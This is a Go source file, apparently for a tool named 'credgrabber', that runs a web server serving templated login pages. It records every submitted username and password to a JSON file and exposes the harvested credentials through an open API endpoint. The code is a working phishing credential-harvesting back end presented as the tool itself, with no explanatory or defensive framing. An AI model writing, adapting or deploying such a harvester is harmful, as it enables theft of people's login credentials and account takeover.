credgrabber/main.go

package main

import (
	"encoding/json"
	"flag"
	"io/ioutil"
	"log"
	"net/http"
	"path/filepath"
	"sync"
	"text/template"
)

type Cred struct {
	Name     string
	Password string
}

var creds = make([]Cred, 0)

var m = sync.Mutex{}

var addr = flag.String("addr", ":8000", "http service address")
var static_files = flag.String("static", "./static", "location of static files")
var db_file = flag.String("db", "db.json", "output database")
var template_dir = flag.String("templates", "templates", "template dir")
var templates *template.Template

func homeHandler(c http.ResponseWriter, req *http.Request) {
	templates.Execute(c, req.Host)
}

func passHandler(resp http.ResponseWriter, req *http.Request) {
	un := req.FormValue("username")
	pw := req.FormValue("password")
	c := Cred{un, pw}
	m.Lock()
	defer m.Unlock()
	creds = append(creds, c)
	b, err := json.Marshal(creds)
	if err != nil {
		log.Fatal(err)
	}
	err = ioutil.WriteFile(*db_file, b, 0644)
	if err != nil {
		log.Fatal(err)
	}
	http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
}

func credHandler(resp http.ResponseWriter, req *http.Request) {
	b, err := json.Marshal(creds)
	if err != nil {
		log.Fatal(err)
	}
	resp.Write(b)
}

func init_db() {
	b, err := ioutil.ReadFile(*db_file)
	if err != nil {
		log.Println("Problem opening db file", err)
	}
	err = json.Unmarshal(b, &creds)
	if err != nil {
		log.Println("Problem parsing db file", err)
		creds = make([]Cred, 0)
	}
}

func main() {
	flag.Parse()
	init_db()
	pattern := filepath.Join(*template_dir, "*.html")
    var err error
	templates, err = template.ParseGlob(pattern)
	if err != nil {
		println(*template_dir)
		println(pattern)
		log.Fatal("problem parsing template dir:", *template_dir)
	}
	http.HandleFunc("/", homeHandler)
	http.HandleFunc("/pass", passHandler)
	http.HandleFunc("/api/1.0/creds/", credHandler)
	http.Handle("/s/", http.StripPrefix("/s/",
		http.FileServer(http.Dir(*static_files))))
	if err := http.ListenAndServe(*addr, nil); err != nil {
		log.Fatal("ListenAndServe:", err)
	}
}